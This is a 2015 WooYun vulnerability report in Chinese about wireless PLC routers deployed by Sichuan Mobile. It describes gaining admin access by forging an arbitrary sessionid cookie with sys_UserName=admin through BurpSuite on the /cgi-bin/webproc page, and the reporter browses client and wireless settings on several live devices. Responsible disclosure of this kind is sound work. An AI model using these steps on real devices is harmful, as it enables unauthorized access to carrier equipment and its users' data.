当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0137474

漏洞标题:某省移动上千台无线设备可任意伪造Cookie越权访问(admin权限)

相关厂商:四川省移动

漏洞作者: wy007

提交时间:2015-08-29 21:52

修复时间:2015-11-29 18:12

公开时间:2015-11-29 18:12

漏洞类型:设计缺陷/逻辑错误

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-29: 细节已通知厂商并且等待厂商处理中
2015-08-31: 厂商已经确认,细节仅向厂商公开
2015-09-03: 细节向第三方安全合作伙伴开放
2015-10-25: 细节向核心白帽子及相关领域专家公开
2015-11-04: 细节向普通白帽子公开
2015-11-14: 细节向实习白帽子公开
2015-11-29: 细节向公众公开

简要描述:

然并卵...我能说我只是为了混点Rank的麽...

详细说明:

受影响URL地址:(此处只列举10条只为说明问题,实际受影响上千条不一一列举)
**.**.**.**:8080/cgi-bin/webproc?getpage=html/index.html&var:page=connected&var:retag=1
**.**.**.**:8080/cgi-bin/webproc?getpage=html/index.html&var:page=connected&var:retag=1
**.**.**.**:8080/cgi-bin/webproc?getpage=html/index.html&var:page=connected&var:retag=1
**.**.**.**:8080/cgi-bin/webproc?getpage=html/index.html&var:page=connected&var:retag=1
**.**.**.**:8080/cgi-bin/webproc?getpage=html/index.html&var:page=connected&var:retag=1
**.**.**.**:8080/cgi-bin/webproc?getpage=html/index.html&var:page=connected&var:retag=1
**.**.**.**:8080/cgi-bin/webproc?getpage=html/index.html&var:page=connected&var:retag=1
**.**.**.**:8080/cgi-bin/webproc?getpage=html/index.html&var:page=connected&var:retag=1
**.**.**.**:8080/cgi-bin/webproc?getpage=html/index.html&var:page=connected&var:retag=1
**.**.**.**:8080/cgi-bin/webproc?getpage=html/index.html&var:page=connected&var:retag=1
受影响数量:

1.png


关键字大牛一看就懂得,不多说了
下面直接说一下如何伪造Cookie达到越权访问:
下面以这个地址为例:
**.**.**.**:8080/cgi-bin/webproc?getpage=html/index.html&var:page=connected&var:retag=1
其实有些时候直接将这个地址在浏览器当中打开就是越权访问了(第一次打不开可以尝试多刷新几次)。但这种方法不是100%的。原理在后面会说...
我还是来说一下比较靠谱的方法:
例如直接将这个地址在浏览器打开是未登录的状态时需要怎么来越权...
一般情况会是这个样子...

BurpSuite访问0.png


然后我们使用神器BurpSuite拦截请求

BurpSuite访问1.png


注意这里的sessionid需要修改一下,可以为任意值...(这就是为什么叫任意伪造Cookie...)
这里发包请求还可以加一个参数就是用户权限..(用户权限是三个级别,不过默认就是admin,不加也可以)

sys_UserName=admin;


用户级别.png


成功响应代码:

HTTP/1.0 200 OK
pstVal->name:getpage; pstVal->value:html/index.html
pstVal->name:var:page; pstVal->value:connected
pstVal->name:var:retag; pstVal->value:1
Connection: close
Content-type: text/html
Pragma: no-cache
Cache-Control: no-cache
set-cookie: sessionid=asdasd; expires=Fri, 31-Dec-9999 23:59:59 GMT; path=/


这里我们可以注意这个参数:

expires=Fri, 31-Dec-9999 23:59:59 GMT;


Cookie的超时时间是9999...岂不是永久不超时?
下面截取一部分HTML响应代码:(里面包含了一些信息)

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://**.**.**.**/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://**.**.**.**/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="Pragma" content="No-cache" />
<meta http-equiv="Cache-Control" content="no-cache, must-revalidate" />
<meta http-equiv="Expires" content="-1" />
<title>PLC Wireless Router</title>
<link type="text/css" rel="stylesheet" href="/html/skin/common.css?v=dlink0006" media="screen" />
<script type="text/javascript" src="/html/languages/zh_cn/error.js?v=dlink0006"></script>
<script type="text/javascript" src="/html/languages/zh_cn/menu.js?v=dlink0006"></script>
<script type="text/javascript" src="/html/languages/zh_cn/page/connected.js?v=dlink0006"></script>
<script type="text/javascript" src="/html/js/boot.js?v=dlink0006"></script>
<script type="text/javascript" src="/html/js/secboot.js?v=dlink0006"></script>
<script type="text/javascript">
<!--
/*---- Global variable define -----*/
var G_Error = "0";
var G_Status = "0";
var G_Error_Msg = "";
var G_ViewState = "-";
var userLevel = "2"; //用户权限标识
var G_Menu = "status";
var G_Page = "connected"; //这个参数很关键..
var G_SubPage = "-";
var G_ErrorPage = "-";
var G_Company = "gongjin"; //这是什么公司...
var G_Version='W1000CN-03'; //固件版本,不过这个PLC Wireless Router到底是什么牌子的有人知道吗?没听说过,查了一下只有国外几个网站有一些介绍,但是看这个配置界面没那么高大上啊
var G_Date='12/26/2014-17:25:15'; //日期时间,没太注意看到底是什么的


有时直接在浏览器打开地址就可以越权访问或者有时不能越权访问是根据sessionid值来判断的,sessionid值正常是在每次关闭浏览器的时候销毁。
在BurpSuite中我们每次都使用一个新的sessionid值,所以每次都可以直接伪造Cookie来进行越权
下面继续:
BurpSuite里我们已经看到成功登录了,下面我们复制BurpSuite的缓存地址,然后在浏览器中直接打开即可

DHCP客户端1.png


DHCP客户端1.png


DHCP客户端1.png


DHCP客户端1.png


到这里我们已经看到,成功进入配置界面了。
接下来简单看了一下几台设备,想看看进一步还有多大影响,
不过没有找到太多连接信息,主要是这个设备太屌丝,没那么高大上。
看了一下每台设备的连接用户也不是太多,而且大部分都是手机用户,
下面连接的还有一些无线路由器和PC机,不过不是很多..(虽然手机用户也可以利用,不过相对费劲,没那么大兴趣,就到此为止了,只是为了找问题而已)
如果PC机和设备多的话,还可以进一步进行内网渗透一下的...这个大家都懂,也不多说了
说一下为什么问题厂商是四川省移动吧...
本来想找这个设备厂商的,因为属于一个通用型漏洞,直接联系设备厂商更好一些,
不过小弟书多的少,实在没搞明白这是哪个厂家的设备,
所以根据目前的掌握情况,只能直接找设备使用者了
根据测试的IP情况,查询了一下,基本上都是四川省移动的IP,而且全是通用设备(这么多数量除了运营商还有别人吗?)且设备配置里的无线SSID命名都是遵循一个规范,推断应该是运营商的基础网络设备

漏洞证明:

下面直接放图(测试过程中搜集到的一些信息,都是随便找了几个而已):
IP地址所属地:

成都移动.png


广安移动1.png


广安移动3.png


广安移动2.png


广安移动4.png


内江移动.png


无线SSID命名规范相同:(kangte_XXXXXX)

无线SSID相同1.jpg


无线SSID相同2.png


无线SSID相同3.png


无线SSID相同4.png


无线SSID相同5.png


无线SSID相同6.png


客户端连接信息:

DHCP客户端1.png


DHCP客户端2.png


DHCP客户端3.png


DHCP客户端4.png


DHCP客户端5.png


DHCP客户端6.png


DHCP客户端7.png


无线路由器相关配置信息:

设备信息1.png


设备信息2.png


无线基本配置.png


无线高级配置.png


无线密码.png


路由表信息.png


PLC路由器公司信息.png


最后吐槽一下...
我能说我这么辛苦找漏洞只是为了搞点RANK升级实习白帽子麽...
只是为了方便使用乌云搜索而已,哎
还有那个...这个设备实在是有点屌丝啊...我也是开眼了..只能算个无线路由器而已。
比家用的强那么一丢丢,这个不是应该用专业点的AP麽..Aruba啥的..
就算不用外国货吧,国货也有很多不错的。
这个漏洞其实针对一般小企业来说,都没什么大不了的,也不会有什么影响。
不过针对运营商来说,一个小问题都会影响太多人。
So,还是重视吧...
我只是为了混点RANK而已,一切测试点到为止。乌云证明我是个好人...

修复方案:

这个从根本上修复还是最好联系一下厂商吧。升级一下软件版本啥的。
临时解决的话,就搞个WAF或三层防火墙啥的,过滤一下URL或者限制IP访问吧.

版权声明:转载请注明来源 wy007@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-08-31 18:12

厂商回复:

CNVD确认并复现所述情况,已经转由CNCERT向中国移动通信集团公司通报。同时测试发现为通用软件漏洞,已经在后续按通用软件漏洞进行跟进处置。

最新状态:

暂无